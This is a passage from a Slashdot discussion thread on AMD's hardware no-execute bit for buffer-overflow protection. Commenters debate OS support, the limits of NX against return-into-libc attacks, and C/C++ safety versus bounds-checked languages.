      An OS would then use this to mark pure data page and areas like the stack as NX so that overflowing datastructures doesn't allow arbitrary malicious code to be run.

    2. Re:Linux support by tedu · · Score: 1

      the pdfs are on the web site. it's an extra bit in the pte.

    3. Re:Linux support by nate1138 · · Score: 1

      Thanks for the explanation. This seems like an idea that is LONG overdue.

      --
      Where's my lobbyist? Right here.
    4. Re:Linux support by inode_buddha · · Score: 1

      Amen to this. I wonder how the AV companies such as Symantec Norton will react to this new chip idea.

      --
      C|N>K
    5. Re:Linux support by Sloppy · · Score: 2, Insightful

      The article is vague, but it's probably talking about the per-page permissions thing. OpenBSD already uses it, when compiled for x86-64. I'm sure the info is already quite available for Linux dudes to use it too.

      --
      As copyright owner of this comment, I authorize everyone to defeat any technological measure which limits access to it.
    6. Re:Linux support by spitzak · · Score: 1

      Wait, are you saying that pages don't *already* have an execution-enable bit?

      I seem to remember this existed on the VAX! Now I certainly don't follow the i86 design, but I know it has a read-only bit at least, and I just figured it had an execution bit as well.

    7. Re:Linux support by nester · · Score: 3, Informative
      Wait, are you saying that pages don't *already* have an execution-enable bit?

      yes, this is one of the wonderful misfeatures of x86. i don't know what this article is all about. amd64 ALREADY has an execute bit in each pte, when it's in long (64bit) mode. this is nothing new; it's been in amd's manuals for while. i'd bet it was one of the first x86 problems they planned to fix.

    8. Re:Linux support by MyFourthAccount · · Score: 1

      An OS would then use this to mark pure data page and areas like the stack as NX so that overflowing datastructures doesn't allow arbitrary malicious code to be run.

      The problem still being that the stack is not pure data, in that it is used for temporary data AND the return address to the caller. The return address really is code, not data.

      You could potentially still set up a stack frame and return to a known piece of code in the code segment with the stack frame of choice.

      In other words, it's still not protection for buffer overflows, it's just a little harder because you don't get to load your own code on the stack and execute it. Instead you will have to find a piece of code that will do the work for you.

      To _really_ solve this problem, there should be two different stacks: one code stack which contains the return addresses and one data stack.

    9. Re:Linux support by Tony+Hoyle · · Score: 5, Interesting

      It's been implemented in Linux since about 6 months ago, at least on the amd64 branch.

      http://www.x86-64.org/lists/discuss/msg03469.htm l

    10. Re:Linux support by gr8_phk · · Score: 2, Interesting
      "Hopefully AMD will release enough information to allow this feature to be implemented in Linux."

      I believe this is already in Linux - see x86-64.org where the porting was done. I recall lots of discussions about the effects of non-executable stack about a year ago. Linux fans should have been touting this for some time as an advantage over the competition, even if only on AMD64.

    11. Re:Linux support by Anonymous Coward · · Score: 0

      Won't change the world, see Linux with non executable stack for x86:StackGuard

    12. Re:Linux support by p3d0 · · Score: 1

      It's already there.

      --
      Patrick Doyle
      I mod down every jackass who puts his moderation policy in his sig. Oh, wait a sec....
    13. Re:Linux support by Weirsbaski · · Score: 2, Interesting

      This does require some interaction from the operating system in order to work. Hopefully AMD will release enough information to allow this feature to be implemented in Linux.

      Well, no-execute-pages has been fully documented in the publicly-available x86-64 (now AMD64) Programmer's Manuals for two years now.

      Now, if I could only get some documentation on that new-fangled Win2K operating system ...

      --

      I am not a sig.
    14. Re:Linux support by smiff · · Score: 1
      It's been implemented in Linux since about 6 months ago, at least on the amd64 branch.

      Doesn't this also require compiler support (to specify what is data and what is code)? Does GCC support it?

    15. Re:Linux support by rew · · Score: 1

      The core problem with this is that although most buffer overflow exploits currently simply use the buffer they are overflowing as the code stash, it has been shown that this is not neccesary.

      Oh, the exploits might need to be tweaked a bit, but after a while there are enough examples floating around on the internet to allow the script kiddies to generate 'ploits again.

  10. "Average Joe" Vs. buffer overflows by MySt1k · · Score: 3, Insightful

    The question will be whether their PR department can spin this into a big enough story to sell to the Average Joe.
    but can "Average Joe" understand the implication of buffer overflows ?
    try to explain to Homer Simpson why he should upgrade his computer based on buffer overflows protections.

    --
    Doh !
    1. Re:"Average Joe" Vs. buffer overflows by iantri · · Score: 4, Insightful

      Explain to Average Joe that his computer will be protected from (some) crashes and (some) computer viruses..

  11. Good thing for AMD by irokitt · · Score: 1

    AMD could use a push right now, since their 64-bit chips are big, their wafers are smaller, and their process is larger. Check it out on Tom's Hardware. I'm not in the market for a new cpu for 2-3 years, and I'm hoping that AMD will have pushed the market to a more competitive scenario by then. Buffer overflow protection released ahead of Intel looks a good move for the processor underdog.

    --
    If my answers frighten you, stop asking scary questions.
    1. Re:Good thing for AMD by sparklingfruit · · Score: 1

      Tom's hardware is most definately not the most reliable source for information regarding AMD processors. They are a tad biased in that department.

    2. Re:Good thing for AMD by netglen · · Score: 1

      I haven't trusted Tom's Hardware site for such a long time. They're totally in Intel's pocket playing pocket pinball.

  12. Nope by lukewarmfusion · · Score: 4, Interesting

    It would be a hell of a marketing and user education campaign to get users to understand this (or almost any hardware related details).

    They want fast and reliable, not techspeak. I can barely get my clients to understand why they need SSL (and how it works).

    1. Re:Nope by Inuchance · · Score: 5, Interesting

      I think a good commercial would having hackers trying to break into a computer, and then a big "ACCESS DENIED" error shows, and one of the hackers exclaims, "No good, they've got the latest AMD CPU!" And then some announcer says something like, "With the latest CPUs from AMD, your computer executes only what YOU want it to, not what THEY [flash over to image of frustrated hackers] want!"

    2. Re:Nope by rnelsonee · · Score: 1
      I do agree that it would be quite a feat to explain this to the average computer user, but to be honest, they don't have to.

      I've noticed this with a lot of ads lately: they make claims about such-and-such.. and that's it. No explanation. Aleve, for example, says they offer fast relief, as well as relief for 24 hours, while "other" pain medications don't. Maybe I'm more cynical, and certainly more skeptical, but I didn't buy into the fact they're better than everyone else. So I looked it up, and sure enough, Aleve's pills are coated twice - once with a substance that dissolves in the stomach, and one that only dissolves after it reaches the intestine, where more of the good stuff is then absorbed into the bloodstream.

      My point of this little story is that, assuming the tactics that Aleve uses works, they can simply say:

      The new AMD processor: Now with Virus-Safe code to protect your computer

      And you know what, people will probably buy into it.

    3. Re:Nope by Luscious868 · · Score: 1

      It could be best summed up in two words: "more secure".

    4. Re:Nope by rtaylor · · Score: 2, Insightful

      [i]I can barely get my clients to understand why they need SSL[/i]

      With SSL you get the lock picture. Without SSL you simply don't get it. Everyone wants to get it, but that takes SSL and not everybody can have SSL. Do you want brand name SSL for a low low price?
      Gotta have the lock (tm).

      --
      Rod Taylor
    5. Re:Nope by Anonymous Coward · · Score: 0

      How about, "Without SSL you are selling your customers to the Russian mafia for no profit?"

    6. Re:Nope by alexpage · · Score: 1

      "Executes? Gee whizz, I didn't know my computer could kill anybody! Better send it back to Wal-Mart and sue them for letting little Billie-Bob use such a dangerous item!"

  13. Re:Please explain by jrexilius · · Score: 0, Redundant

    LOL.. yes Joe.. and it would do your dishes ;-)

  14. Good or Bad idea? by demonic-halo · · Score: 3, Insightful

    This is all cool and all, but will this mean people may start writing sloppier code which will become something to bite as in the ass later in the future?

    For example, let's say people wrote insecure x86 code, then someone decides to port the code to another platform. There'll be software vulnerabilities that will be around because of the flawed code in the first place.

    1. Re:Good or Bad idea? by irokitt · · Score: 0

      But why would anyone port windows to another platform?

      --
      If my answers frighten you, stop asking scary questions.
    2. Re:Good or Bad idea? by Anonymous Coward · · Score: 0

      The processor would be getting MORE strict, not less strict.

    3. Re:Good or Bad idea? by MooCows · · Score: 1

      Well, if you write the app on a overflow-protected CPU, then probably whenever there's a buffer overflow an "Access Violation" error will be triggered.

      This feature is useful in two cases:

      1. To find buffer overflows while debugging .. no more messed up program code!
      2. To protect against crackers triggering buffer overflows and writing their own executable code over yours in-memory.

      So actually this helps you catch more bugs .. ie. less sloppy code. (I hope)

      --
      The path I walk alone is endlessly long.
      30 minutes by bike, 15 by bus.
    4. Re:Good or Bad idea? by Hoser+McMoose · · Score: 2, Informative

      First off, if they port it to damn near any other architecture out there except for PowerPC, then that other platform WILL have this no-execute bit implemented already. x86 is REALLY late to the game with this technology, it already exists in SPARC, HPPA, IA64, Alpha, etc. etc. It's really just x86 and PowerPC that are the two notable exceptions to the rule; they enforced this sort of thing through segmentation (ie it can and has been implemented in regular x86 code, it's just a bit sloppier and requires some kind of ass-backwards hacks to get it to work with the operating system).

      Also this no-execute bit is NOT a sure-fire fix. In fact, it's not a fix at all, buffer overflows can definitely still occur, it's just a whole heck of a lot harder to do anything too malicious once that buffer has been overflowed. Basically you just end up with a DoS attack instead of a remote access vulnerbility. Still something that should be fixed though.

      So, is this a good idea? Hell yeah! An extra line of defense is ALWAYS a good thing!

  15. Securing C++ through hardware by KingOfBLASH · · Score: 5, Insightful

    I find it interesting that one of the reasons that hardware protection from buffer overflows is needed is because many programs were created using functions in languages that don't properly check array bounds. Programmers really need to learn that either they need to use functions which provide bounds checking if they insist on using a language like C or C++, or they need to program in another language.

    (Note: Although many people come down on C++, it's also what functions you use. For instance, while fget() is considered "safe" because you provide a buffer boundry, gets() is considered unsafe. This drives me nuts! We knew how to program to prevent buffer overruns years ago, and they're still a problem!)

    1. Re:Securing C++ through hardware by DaHat · · Score: 5, Insightful

      I think you are forgetting something though... C and C++ are the most powerful higher level languages that exist today... Why? Because with them... you can easily mess everything up!

      Back in college I would defend C/C++ against one of my professors who thought it was the spawn of satan (and oddly though Pascal was/is the greatest language ever) for the simple fact that it gives you the ability to do so many things with few limits.

      A hammer cannot only be used to drive in nails or bang a dent out of your car hood... but it can also be used to break your neighbors windows and beat someone to death. Just because a tool CAN be used for ill, doesn't mean the tool is to blame. After all... guns don't kill people... murders/soldiers/hunters/etc do!

    2. Re:Securing C++ through hardware by ebuck · · Score: 1

      I can't agree more.

      Language professors and designers have long understood the need to present extensible yet constrictive environments which allow enough flexibility to get the job done, yet prevent the programmers from shooting themselves in the foot.

      The hard part is coming up with one that's easily readable, maintainable, fast, flexible, portable, reusable, and safe. Of course, all of those adjectives have different meanings in the eyes of their beholders.

    3. Re:Securing C++ through hardware by KingOfBLASH · · Score: 2, Interesting

      You must have misread my post as I clearly stated it wasn't C++ that was the problem but the way people used it. Most (every?) functions that is still around for backwards compatibility and runs the risk of buffer overflows has an alternative that can be used to prevent buffer overflows by limiting the amount of whatever it is you are doing.

    4. Re:Securing C++ through hardware by TheOldFart · · Score: 2, Funny

      Unless you use a .NET Hammer (R). It must be used through this ingenious slotted track (58lbs for simple nails, 378lb for server nails) that has sensors that can determine if what is to be hit is a nail or someone's head. The only draw back is that it only works with nails made by Microsoft, it consumes 1G Watts, and only hits 10 nails/hour (unless you buy the unlimited nail version which can do 100 nails/hour depending on weather conditions). By the way, those patent free hammers out there are only used by the fringe, leftist trouble makers.

    5. Re:Securing C++ through hardware by john.r.strohm · · Score: 4, Insightful

      Back in college I would defend C/C++ against one of my professors who thought it was the spawn of satan (and oddly though Pascal was/is the greatest language ever) for the simple fact that it gives you the ability to do so many things with few limits.

      If we ignore for the sake of argument the specific "high-level assembler" design goal for C, and look instead at philosophy which was carried into C++, there was this fundamental hacking philosophy that said that, because you occasionally needed to do something a bit bizarre, it should be EASY to do that bizarre thing. Further, the entire C/C++ philosophy was that the programmer was solely responsible for the consequences of his actions.

      We contrast this with Ada. Ada's philosophy was that you only occasionally need to do bizarre things, that 95-99% of the time, you are doing perfectly straightforward things, that the effort should be distributed accordingly, and that the language should be helping the programmer to do the routine things correctly. This implies that, when the programmer attempts to do something bizarre, 95-99% of the time it is because he screwed something up, and he DIDN'T mean to do what he typed, and the compiler barfs.

      At that point, it becomes the programmer's responsibility to tell the compiler, and NOT INCIDENTALLY everyone who will ever do maintenance on his code, that "Yea verily I DID intend to shoot myself in the foot here!". Idioms are provided for doing that. If the programmer really intended to take that floating-point number and treat it as a bitmask, he has to tell the compiler that this was indeed his intention.

      Ada did not provide a "back door" array reference mechanism comparable to the C/C++ pointer hacking, for the reason that it is impossible to do proper bounds checking in that case. Ada does provide a mechanism for suppressing bounds checking, but it is NOT the default and it is explicitly forbidden by the standard from it being the default in any conforming implementation. If the programmer has a good reason for suppressing bounds checking, he has to do it EXPLICITLY, at some level.

      Your analogy with hammers is OK, but it breaks down with guns. Guns have trigger guards and safety catches, PRECISELY to prevent naive users from shooting themselves in the foot, or from shooting someone else that they didn't intend to shoot. At the same time, those safety mechanisms do not prevent the gun from being used to shoot someone that the user most fervently WANTS shot right then.

      In my view, if I utter a sequence of instructions that will dance a fandango on core, it is almost certainly the case that I have made an error, and I would prefer the toolset to ask me "Are you sure? (Y/N)". If I am certain that I intended to dance that fandango, I am also certain I want to warn the next guy in line that I am now lacing up my dancing wafflestompers, and the language should support that.

    6. Re:Securing C++ through hardware by FreemanPatrickHenry · · Score: 1

      I think you are forgetting something though... C and C++ are the most powerful higher level languages that exist today... Why? Because with them... you can easily mess everything up!

      Not so. Lisp is far more powerful than C/C++. Macros alone are evidence of this. Paul Graham wrote an excellent piece on this here.

      (Note: this is not a troll. I said "more powerful" not "better." The first is a quantitative fact, the second an opinion that has no meaning.)

      --
      I have discovered a truly marvelous .sig which, unfortunately, this space is too small to contain.
    7. Re:Securing C++ through hardware by DaHat · · Score: 1

      Arg... this was a joke (from me) you realize? Quoted from this professor... another one of his lines about C/C++ was "C is a WORN language... Write Once, Read Never."

    8. Re:Securing C++ through hardware by roskakori · · Score: 1

      I think you are forgetting something though... C and C++ are the most powerful higher level languages [blah blah...]

      Back in college I would defend C/C++ against [blah blah...]

      A hammer cannot only be used to drive in nails [blah blah...]

      <rant>

      you know, 10 years ago, there were a lot of people like this. and they made my live pretty bad because i somehow had to arrange with them, and use the same sucky languages and tools.

      nowadays, live isn't perferct. however, its easy to find a job where java is the lowest-level language (that is, if you find a job). the mainstream languages and tools are catching up to advanced (underground) stuff like eiffel. idiotic problems like bounds checking, missing i/o error handling etc are a thing of the past - even for the mainstream. systematic testing is becoming more and more of a must, and companies get more disciplined about QA. sure, java's exceptions handling is imature, the syntax as ugly as ever, and assertions are a joke. but it's way better than the whole C and C++ macho stuff.

      and most important, people like the parent poster are collected in zoo, maybe doing some embedded systems, far out of my sight. i sometimes read about them, but i never actually see them anymore.

      sometimes life is good.

      </rant>

    9. Re:Securing C++ through hardware by DaHat · · Score: 1

      I never thought of my department as a Zoo... but I suppose you might be right, and in that I'm in the same cage as the rest of them, lots of embedded work all the way up to user applications, right now I'm having the pleasure of some not so fun embedded work for a to be announced product.

      Sadly the reasoning behind our using C/C++ for most of our applications (ie uses, not programs) has nothing to do with a macho complex but is because for the most part, C/C++ is ubiquitous, you can find a compiler for it for virtually every standard and non standard platform out there.

    10. Re:Securing C++ through hardware by dcam · · Score: 1

      How about using the STL? I mean if you are writing C++ and you are still using char * you might need to rethink. std::string offers you all the protection you need.

      --
      meh
    11. Re:Securing C++ through hardware by Jagasian · · Score: 1
      I think you are forgetting something though... C and C++ are the most powerful higher level languages that exist today... Why? Because with them... you can easily mess everything up!


      That has to be the worst argument that I have ever heard as to "why C/C++ are the most powerful high level languages that exist today". Also, not to mention the fact that allowing you to mess stuff up has very little to do with few limits.

      Wouldn't it be better to have a high level language that placed few limits on you, but also helped you write better code, i.e. let you do what you want but protect you from messing everything up?

      The obvious answer is "yes" such a thing is better than a language that lets you mess stuff up. So please tell me again why you post is "insightful"?
    12. Re:Securing C++ through hardware by Anonymous Coward · · Score: 0

      Both LISP and C are Turing-complete. Unless you're redefining the word "powerful" to suit your own agenda, any talk of "quantitative fact" is absolute bullshit.

    13. Re:Securing C++ through hardware by DaHat · · Score: 1

      It was a joke!

    14. Re:Securing C++ through hardware by Jagasian · · Score: 1

      I all too often see people using various macho "C++ is better because it is more manly" arguments as to the superiority of C++.

    15. Re:Securing C++ through hardware by Anonymous Coward · · Score: 0

      Perhaps he meant "expressive"? Peter van Roy defined a language as being more expressive than another when it has a certain feature that can only be expressed with global side-effects in the other language (incidentally, this definition was used implicitly by Steele in the kick-ass paper, Lambda, the Ultimate Imperative). In that case, yes, Lisp is far more expressive than C.

    16. Re:Securing C++ through hardware by stevey · · Score: 1

      You seem to have the delusion that all security holes are as a result of buffer overflows.

      Whilst these are the most commonly known they are by no means the only form of security problem.

      More difficult to detect are such things as integer overflows, format string attacks - and even trivial problems like failing to drop privileges before using "popen".

    17. Re:Securing C++ through hardware by KingOfBLASH · · Score: 1
      You seem to have the delusion that all security holes are as a result of buffer overflows.

      I am under no such delusions. However, the article was about buffer overflows, and I pointed out that a number of security holes can be covered up in C++ if you use one set of functions versus another. Where do these perceived delusions come from? I'd say you should re read the comments.

  16. Interesting by Anonymous Coward · · Score: 0

    I was just today shopping for components to build a new router/firewall machine for my home network. I really wanted a non-x86 architecture that supports page-level exec protection like powerpc or sparc64 for use with OpenBSD. Unfortunately there are no reasonably-priced consumer boards other than x86.

    Maybe I'll wait until these new AMD chips come out to build the router.

    1. Re:Interesting by Anonymous Coward · · Score: 0

      Hit up eBay for a cheap SPARCstation and an extra SBUS ethernet card. Install OpenBSD SPARC and whoomp, there it is.

  17. Of course they can by mikeophile · · Score: 5, Funny
    The question will be whether their PR department can spin this into a big enough story to sell to the Average Joe.


    Sure, AMD just has to write a buffer-overflow exploit into a worm that carries the pop-up window message, "If you had and AMD processor, you're hard drive wouldn't be erasing right now."

    1. Re:Of course they can by cybermace5 · · Score: 1

      The horrible spelling would definitely force me to buy a new AMD processor.

      I already have a few, though. It's really grating to be in computer shop and hear the salesman talking to someone who asked about AMD, and he goes on a rambling vague litany about how Intel has stability, and faster clock speeds It makes me wonder why I'm even in that computer store. I use a 2.66 GHz P4 at work, and it's slower than my 1.2GHz Athlon at home.

      --
      ...
    2. Re:Of course they can by Anonymous Coward · · Score: 0

      I wouldn't talk talk too much about horrible spelling. Your post has three mistakes.

    3. Re:Of course they can by cybermace5 · · Score: 0, Offtopic

      There are no spelling mistakes. There's one period missing. Technically, one sentence could be punctuated differently. What's your point? You're the one who typed "talk" two times in a row.

      --
      ...
    4. Re:Of course they can by Anonymous Coward · · Score: 0

      He didn't say there were any spelling mistakes. Learn to read. You did capitalize "It" in the middle of a sentence though.

    5. Re:Of course they can by cybermace5 · · Score: 1

      That's where the period should have been.

      --
      ...
    6. Re:Of course they can by Anonymous Coward · · Score: 0

      Nah, the period shoulda been in yo momma's pants the day after you was conceived!

    7. Re:Of course they can by Anonymous Coward · · Score: 0

      What am i? A hard drive???

    8. Re:Of course they can by TheOldFart · · Score: 1
      "If you had and AMD processor, you're hard drive wouldn't be erasing right now."

      You're mistaken about your errors... Or should that be "your mistaken about you're errors"? Or better yet, who cares?

  18. Look closer... by heironymouscoward · · Score: 4, Funny

    ....

    MOV AX,DS:OSID[BX]
    CMP AX,2 ; 2=Windows 3.x
    JE PANIC
    CMP AX,3 ; 3=Windows 9x
    JE PANIC
    CMP AX,4 ; 4=Windows 2K/ME/XP
    JE PANIC
    CMP AX,10 ; 10=Minix
    JE OKAY
    CMP AX,11 ; 11=... :PANIC
    ISSUE 'CPU BUFFER OVERFLOW ACTIVATED'
    JMP PANIC

    --
    Ceci n'est pas une signature
  19. Re:the Chipmaker??? by DaHat · · Score: 2, Insightful

    Because by your logic, Microsoft has patented the technology behind causing them and in this rare case decided to leave it up to someone else to fix.

  20. I'd buy by valkraider · · Score: 2, Informative

    I'm not Joe, but if all other factors were equal - this would be enough to sway me to them... But of course, it's almost moot - since I use Apple OSX... But I do have some Linux boxes that could run on them...

    However - they WILL have to spin it well enough, or better than the "Megahertz Myth" because that didn't work too well for average folks. BestBuy salesmen don't know how to explain "AMD Athlon 289456++XL 3400 MP SSE4 +-7200 BufferXTreme" so they just push intel...

    1. Re:I'd buy by valkraider · · Score: 1

      Of course If I had RTFA I would have seen that it only works with a "special version of Windows XP" so nevermind about the Linux on them, at least initially...

    2. Re:I'd buy by ivan256 · · Score: 1

      Linux already supports an execute flag in PTEs, but it's compiled out on chips that don't support it. I suspect that if you looked in the X86-64 branch of the kernel, you'd see that this is in use in linux already.

      PPC processors have always had an exec flag in their PTEs, and I would be surprised if OSX didn't use it.

  21. Rob Enderle Strikes Again! by Galuvian · · Score: 4, Funny

    Although this is great for AMD I'm sure, I stopped reading the article when Enderle was the first 'analyst' quoted.

    1. Re:Rob Enderle Strikes Again! by cpu_fusion · · Score: 2, Funny
      It's too bad the article's editors left out the second part of that Enderle quote, which was:

      "Plus, the AMD64 makes a revving noise at startup that will make everyone at your next meeting think you are really cool. Did I mention chicks dig buffer overflow protection, because they surely dig me."

  22. Ahem... by cbiffle · · Score: 5, Insightful

    From my reading of the article, this sounds like it's just a new spin on the per-page eXec flag on the AMD64 architecture.

    Granted, yes, this is a good thing, but "buffer-overflow protection when used with a new version of Windows XP?" We now have to rely on Microsoft to set the X flag properly...

    This has been talked about on Slashdot a lot in the past; the OpenBSD guys in particular are hot on the Opteron because it, like SPARC, provides this protection. Fortunately, this isn't some Windows-specific voodoo; we all stand to benefit from this fundamental fix to the broken Intel VM architecture. :-)

    1. Re:Ahem... by ignipotentis · · Score: 1, Flamebait

      Its not a broken VM architecture. Intel chose to go with out a split cache for the x86 becuase of speed. The logic is less complicated and they could ramp up the speed of the processeors quicker.

      I know, silly intel for believeing that programers could check their own bounds. It is however, a necessary thing when you have single cache. Now that the instruction and data caches are going to be seperate, its not as crucial.

      Nothing is allowed to be executed from the data cache, so if you overflow a buffer, and throw code into the data cache, no big deal.

      Thats the idea. It sets a flag and says, hey... this code isn't in the instruction cache, you shouldn't execute it. It is up to the OS in most cases to go "wow, thanks for catching that..." and close the application without delay.

      We will still be at the hands of microsoft to correctly implement this final task. I'm sure BSD and Linux will implement this stage just fine, but i'm not at all confident that MS will do what basically amounts to an instruction check (all in all, not much different from a bounds check) correctly.

      --
      Don't waste time... procrastinate now!
    2. Re:Ahem... by Pakaran2 · · Score: 1

      Don't some Unixen have this protection even without AMD64? I know that Electric Fence does something very similiar, among others - though most real-world programs don't use it.

      For that matter, writing all networking code in pascal/java/whatever (which isn't a HUGE slowdown unless you're sending tens of megs per second continiously) will protect you from this on any OS. People just need to use those languages, or make a point of using "safe" functions under C(++) and ASM.

    3. Re:Ahem... by nester · · Score: 1
      Thats the idea. It sets a flag and says, hey... this code isn't in the instruction cache, you shouldn't execute it. It is up to the OS in most cases to go "wow, thanks for catching that..." and close the application without delay.

      it isn't quite that simple. code on ANY split cache cpu MUST be in the icache. that is the only way it can be executed.

      what happens is this: some mal. code is written into a data segment (elf segment, i mean, not just x86 segmentation crap). now, the cpu jumps to that code. this is easy on x86, cuz the i and d caches are coherent (they aren't on ppc and other risc archs).

      when the fetch for the jump target is executing, the cpu will fault on the itlb fault. either the hardware or software (on some riscs) will load the itlb. either at tlb insertion or after insertion, when the fetch is attempted, it will fault on the no-exec flag. that's if you have a decent cpu and a decent os. if not, then the l1 icache faults on the load and looks to the (usually) unified l2. (in the risc case, you must flush the writes down to the unified cache somehow.) if it's an inclusive cache, and the cache is synced at this point, the l1i will load a line from the jump target and feed the pipeline.

      there are some things broken by the no-exec bit. gcc tampolines. i'm not familiar with them, though.

    4. Re:Ahem... by Anonymous Coward · · Score: 0
      Quoting a Bugtraq post:


      • non-executable segments do add some security value

      • non-executable segments is arguably an obscurity defense, because
        attacks exploiting overflow vulnerabilities that are stopped by
        non-executable segments can always be re-worked to be "return into
        libc" style attacks that bypass the non-executable segment by pointing
        directly at code in the code segment

      • this obscurity defense arguably has value, because writing
        return-into-libc exploits is hard, and hard to make scriptable,
        because the offsets are fussy.



    5. Re:Ahem... by devine10 · · Score: 1

      Also, nergal published an interesting paper in Phrack #58 about return-into-libc exploits.

  23. XP Service Pack 2 just gets delayed... by Anonymous Coward · · Score: 0

    ...until Intel gets some execute protection bits into their chips.

  24. They won't stop logic errors by Sowelu · · Score: 0

    There's no replacement for careful coding.

  25. Re:Pathetic by Malc · · Score: 1

    Oh I'm confused... so MSFT are the cause of the buffer overrun bugs in Linux?

  26. already done? by Anonymous Coward · · Score: 0

    errm. is this just an x86 problem?

    either the PowerPC does it, or the OS must handle it - as AmigaOS 4 already makes sure that data and code segments are kept seperate and cannot be cross contaminated.

  27. Re:Pathetic by DaHat · · Score: 5, Insightful

    Wraaaag! Why does everyone keep calling this a Microsoft bug?

    Yes... the vast majority of buffer overflow exploits we read about are Microsoft based, however it's not too hard to find software from other providers, yes, even in Linux. Which can suffer from this kind of flaw.

  28. No silver bullet. by El · · Score: 1

    Since you have to rewrite the software anyway to tell the hardware what the buffer boundaries are, this doesn't sound like any security improvement over just rewritting the software. Only improvement is that checking bounds is a little faster.

    --

    "Freedom means freedom for everybody" -- Dick Cheney

    1. Re:No silver bullet. by m0rph3us0 · · Score: 2, Informative

      All you need to rewrite is the executable loader, and the memory allocator.

    2. Re:No silver bullet. by El · · Score: 1

      My mistake (didn't RTFA). All they are talking about is not letting buffers overrun all the way into code space. This still doesn't prevent you from corrupting data, or overwritting the return address on the stack with another address. In other words, it's still no silver bullet.

      --

      "Freedom means freedom for everybody" -- Dick Cheney

    3. Re:No silver bullet. by Anonymous Coward · · Score: 0

      The only software rewrite required would be a Windows patch and after that, all software running under the windows OS would be secure. The whole idea of this is using the hardware to cure the software problem so you DON'T have to rewrite the software. It's defintely a silver bullet.

      Just think of it this way, how long would it take MS to make it so Windows itself could prevent buffer overflow (and malicious C code) and how long would it take to write a patch that simply lets the AMD hardware handle it?

  29. There's no excuse for buffer overflows by ChiralSoftware · · Score: 5, Insightful
    Remember back in the 60s and before, all cars leaked oil? People just accepted, "Cars leak oil." They didn't realize that it didn't have to be that way.

    Then the Japanese started making cars that didn't leak oil. Now, no one would accept a car that leaks oil. People have realized that cars don't have to leak and we shouldn't accept it.

    It's the same thing with buffer overflows. People now have this attitude "well, there's nothing you can do. Just write code really carefully. Anyone who makes buffer overflows in his code is just a sloppy coder!"

    Nothing could be further from the truth. There is no way anyone can code a large project in plain old C and not make buffer overflows. Look at OpenBSD, who are masters of secure C. They still have buffer problems.

    And yet, there is absolutely no reason for code to have any buffer overflows! There are programatic tools, such as virtuams machines (think JVM) and safe libraries which mean that programmers never have to manipulate buffers in unsafe ways.

    Putting in hardware-level support for this would be fantastic. It is time for people to change their attitude about what they accept in computers. Crashes and security holes are not inherent aspects of software. Mistakes are inherent in writing code, but these mistakes don't always need to have such disasterous consequences.

    ---------
    Create a WAP server

    1. Re:There's no excuse for buffer overflows by Fapestniegd · · Score: 4, Funny

      If you designed and produced cars on a typical programmer's development schedule, you would probably have to pour oil into them while running to keep the fluid levels right.

      And they would just explode for no reason sometimes.

    2. Re:There's no excuse for buffer overflows by stratjakt · · Score: 0, Flamebait

      Remember back in the 60s and before

      No, I dont.

      Now tell us how you used to walk 20 miles to school in the snow, uphill both ways, gramps.

      --
      I don't need no instructions to know how to rock!!!!
    3. Re:There's no excuse for buffer overflows by Anonymous Coward · · Score: 1, Interesting

      there is absolutely no reason for text to be improperly spelled! There are programmatic tools, such as spell checkers, which would mean that typists never have to manipulate characters in improper ways. /sarcasm

      Yet typographical errors do still occur, and often that's all the difference there is between a buffer overflow and good code. Surely there should be more QA involved in code than in a web post - but typos escape publishing as well.

      The primary difference is that when a manual has a wrong spelling, or improper grammar, the failure is not catastrophic.

      Using the proposed chip feature wouldn't prevent buffer overflows the way proper array-checking does. It would simply prevent arbitrary code execution from a data page - making the failure less-catastrophic, and more in line with its publishing analogue.

      This chip feature is in fact superior to any comparable compiler/language feature - because it would hold all code (regardless of source) to the same standard.

    4. Re:There's no excuse for buffer overflows by netglen · · Score: 1

      >> People just accepted, "Cars leak oil."

      Even better, back then the Japanese made cars that were a lot quieter. It stumped US automakers until they figured out how they did it.

    5. Re:There's no excuse for buffer overflows by Temporal · · Score: 1

      I think his point was that buffer overflows and similar memory management errors are a problem inherent in C. Almost every language other than C and C++ provides, at the very least, automatic bounds checking. Sure, it slows the code down a little bit, but for the added security it is well worth it.

      Of course, half of the problem is just that memory management in C is so hard that people would rather use static buffers to avoid it all.

    6. Re:There's no excuse for buffer overflows by Anonymous Coward · · Score: 0

      (OT, hence AC)

      >> Then the Japanese started making cars that didn't leak oil. Now, no one would accept a car that leaks oil. People have realized that cars don't have to leak and we shouldn't accept it.

      > If you designed and produced cars on a typical programmer's development schedule, you would probably have to pour oil into them while running to keep the fluid levels right.

      The parent poster's comment just about adequately describes my old beater pickup truck. Near the end of it's life, I never had to drain via the plug in the oil pan... just add more to the top. I love my new [Japanese-made] car. ;-)

    7. Re:There's no excuse for buffer overflows by Anonymous Coward · · Score: 0
      Anyone who makes buffer overflows in his code is just a sloppy coder!
      The other possibility is that they never learned how to write code without buffer overflows.
      There is no way anyone can code a large project in plain old C and not make buffer overflows.
      Liar. Do your research. Try to find a large project written in C that does not have any buffer overflows. There are several open source projects to choose from, although you may not agree that they are large, the techniques employed scale just fine. How do they perform this magic?
      There are programatic tools, such as[...]safe libraries which mean that programmers never have to manipulate buffers in unsafe ways
      Yes, that is how they do it. There are libraries as you described which exist for both C and C++.
    8. Re:There's no excuse for buffer overflows by BillX · · Score: 1

      My car leaks oil, you insensitive clod!

      --
      Caveat Emptor is not a business model.
    9. Re:There's no excuse for buffer overflows by markalanj · · Score: 1

      Damn my car still leaks oil & water too!

  30. Re:Pathetic by Joe5678 · · Score: 1

    That had better be humor, or else I think I might cry...

  31. Re:Pathetic by eht · · Score: 5, Insightful

    What's about GNU/Linux's bugs or NetBSD's or Sendmail's bugs? This is OS agnostic.

    This isn't insightful, it's flamebait and FUD.

  32. the Average Joe doesn't buy processors by funny-jack · · Score: 5, Insightful

    They buy computers. They don't need to sell the idea to the Average Joe, they need to sell the idea to the people making computers for the Average Joe.

    --
    You probably shouldn't click this.
  33. Intel engineers by Anonymous Coward · · Score: 0
    AMD's chips will make it to market first...
    ...because Intel engineers are still looking for the mysterious bug that prevents the protection from working when the overflow is only 0.0000011397.
  34. M$? by ArchieBunker · · Score: 1

    Oh like theres never been a buffer overflow problem in linux... Talk about a cheapshot.

    --
    Only the State obtains its revenue by coercion. - Murray Rothbard
  35. This is good and bad. by kabocox · · Score: 2, Interesting

